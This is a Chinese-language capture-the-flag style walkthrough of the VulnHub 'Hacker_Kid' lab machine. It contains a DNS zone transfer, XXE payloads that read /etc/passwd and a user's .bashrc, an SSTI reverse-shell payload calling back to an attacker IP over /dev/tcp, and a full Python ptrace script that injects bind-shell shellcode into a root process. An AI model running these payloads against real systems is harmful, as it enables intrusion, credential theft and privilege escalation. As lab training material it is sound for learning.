VnlnHub Hacker_Kid-v1.0.1

靶场搭建

靶场下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

下载下来是虚拟机.ova压缩文件,直接用Vmvare导出就行

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

开启虚拟机

这台靶机作者给我们的提示是关注信息搜集,不需要爆破,在每一步都有适当提示

靶场搭建完毕

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

128是kali攻击机的ip,所以136为靶机的ip

扫描靶机端口服务开放情况

发现开放了53端口,存在DNS服务

开放了80端口,存在HTTP服务,且中间件为Apache 2.4.41

开放了9999端口,存在HTTP服务,且中间件为Tornado 6.1

通常情况下DNS是TCP53端口是用于同一个域两台域名服务器之间做数据交换

而日常上网查询DNS解析是通过UDP53端口

我们只扫描TCP的端口,尝试扫描UDP53端口,发现确实是UDP53端口是开放的

先访问一下80端口的WEB

网页上翻译过来是,一个黑客小子黑了整个服务器,如果你足够聪明的话,可以取回服务器

你挖掘的越深,你发现的越多关于我,dig me挖掘我

dig是个提示,因为kali上有一个工具名字为dig

先看一下网站上的功能按钮

点击页面上的start按钮,跳转到index.html,但是这个页面不存在

点击剩下两个按钮都是初始页面

发现url上都带有#(#app.html,#form.html),我们把#去掉试试,发现能够正常访问页面

app.html

但是发现页面上的功能都已经没有用了,应该是被黑客小子给破坏了

form.html

搜索一下敏感目录,没有发现敏感目录

查看首页网页源码发现提示,让我们使用GET参数page_no去浏览页面

所以我们尝试在后面加上page_no这个参数,发现出现了一段提示说我们的方法是对的

接下来我们抓包放到burp上的intruder模块进行批量测试

因为是页号,所以这里肯定是数字,所哟payload我们指定未1-1000的所有整数

发现参数为21时页面与其他不同

访问看看

他说他是一个黑客小子不是一个愚蠢的黑客,所以他创建了一些子域名(subdomains)在这个服务器上来让他任何时刻都能干他想干的,它留了很多很多的家,其中一个家也就是域名时hacker.blackhat.local

将这个域名解析到靶机这个ip地址,访问看有没有什么新的东西

编辑/etc/hosts文件

发现还是一样的页面,没有什么不同

前面提示我们要dig,所以我们使用dig工具


dig [@server] [-b address] [-c class] [-f filename] [-k filename] [-m] [-p port#] [-q name] [-t type] [-x addr] [-y [hmac:]name:key] [-4] [-6] [name] [type] [class] [queryopt…]
使用dig命令,您可以查询各种DNS记录的信息,包括主机地址,邮件交换和域名服务器。它是系统管理员中用于排除DNS问题的最常用工具,它具很高的灵活性和易用性。

@<服务器地址>:指定进行域名解析的域名服务器;
-b<ip地址>:当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求;
-f<文件名称>:指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息;
-P:指定域名服务器所使用端口号;
-t<类型>:指定要查询的DNS数据类型;
-x<IP地址>:执行逆向域名查询;
-4:使用IPv4;
-6:使用IPv6;
-h:显示指令帮助信息。

使用dig axfr @192.168.52.136 blackhat.local 命令,发现成功同步到dns服务器的数据,DNS安全配置存在问题,正常情况下应该只能在同一区域不同DNS服务器之间同步数据

我们发现新的域名,将他添加到/etc/hosts文件中

添加后我们逐个去访问

hackerkid.blackhat.local

发现一个新页面

www.blackhat.local

没有访问权限

hackerkid.blackhat.local这个新页面是一个注册页面

先去看一下9999端口

发现一个登录界面

试了一下admin/admin,提示错误

因为靶机作者有提示不需要暴力破解,所以这里我们不进行暴力破解

所以刚才找到的注册页面可能就是这个登录页面的注册

我们尝试注册一个账号

提示邮箱不合法

换一下试试

还是提示不合法

抓包看一下

我们发现我们输入的这些信息都是通过XML数据来发送

所以我们就猜测这里可能存在XXE漏洞,进行漏洞探测

在里面加上这段外部实体引用

<!DOCTYPE foo [<!ENTITY  xxe  SYSTEM   "file:///etc/passwd"  >]> 

在email处通过&xxe;调用

发现确实存在XXE漏洞

发现两个可以ssh登录的用户

尝试读取其他文件

使用php封装器读取到一个/home/saket/.bashrc文件

<!DOCTYPE foo [<!ENTITY  xxe  SYSTEM   "php://filter/convert.base64-encode/resource=/home/saket/.bashrc"  >]>   

放到burp的decode模块里解码,发现账号密码

尝试用账号密码来登录刚才的登录页面,发现并不正确

这个密码不像迷惑信息,尝试换用户名试试,这个密码里有一个saket,刚才读取到的/etc/passwd里面也有一个叫saket用户

尝试登录使用这个saket用户名,发现果然登录成功了

页面提示告诉我你的名字,我怎么才能知道你是谁

他说让我们告诉它名字,我们就猜测可能存在name参数传值,发现果然存在传参

我们发现传什么参数,什么就会在页面上原样的显示,而且风格样式都是一样

我们猜测可能使用了表达式,可能存在表达式注入

测试是否存在漏洞

典型表达式注入通用payload,可以测python、java、php(abcxyz是随便取的一个函数名,只要是让服务器上不存在这个函数的名字都可以)

{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]
## 报错说明存在漏洞


{{9*9}}${9*9}<%9*9%>[9*9]
## 测试哪个表达式被执行了

发生了报错,存在漏洞

发现第一个双{{的表达式被执行了

利用表达式注入建立shell

在kali上监听4444端口

将下面这段编码后命令带入表达式(特殊符号要经过编码才能执行成功)

编码前
name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.52.128/4444 0>&1"')}}

编码后
name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.52.128%2F4444%200%3E%261%22%27%29%7D%7D

成功获得shell

进行提权

sudo提权

sudo -l 查看是否有可提权的命令

不能通过这种方式提权

SUID提权

SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

通过命令

find / -perm -4000 2>/dev/null查看是否具有root权限的命令

常见可用于提权root权限文件

nmap

vim

find

bash

more

less

nano

cp

awk

也不能利用

数据库提权

没有找到数据库账号密码

内核提权

搜索相应漏洞,提权失败

linux capabilities提权

从内核 2.2 开始,Linux 将传统上与超级用户 root 关联的特权划分为不同的单元,称为 capabilites。Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个单元可以独立启用和禁用。如此一来,权限检查的过程就变成了:在执行特权操作时,如果进程的有效身份不是 root,就去检查是否具有该特权操作所对应的 capabilites,并以此决定是否可以进行该特权操作。比如要向进程发送信号(kill()),就得具有 capability CAP_KILL;如果设置系统时间,就得具有 capability CAP_SYS_TIME。

查询具有capabilities权限的文件

getcap -r / 2>/dev/null

发现getcap这个命令没有被加入到环境变量中,所以们要使用/sbin/getcap

/sbin/getcap -r / 2>/dev/null

看到/usr/bin/python2.7 = cap_sys_ptrace+ep

这个可以用于提权

列出主机上所有以root账号运行的进程

随便选一个以root账号运行的进程,我们选用pid为782的这个进程

提权代码,将代码在kali保存到文件中

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

然后上传到靶机

python2.7 inject.py 782

注入这个进程(如果连接不成功可以换用其他的进程注入)

注入成功后,会默认开启5600端口

然后我们在kali上连接这个5600端口,成功获得root权限shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值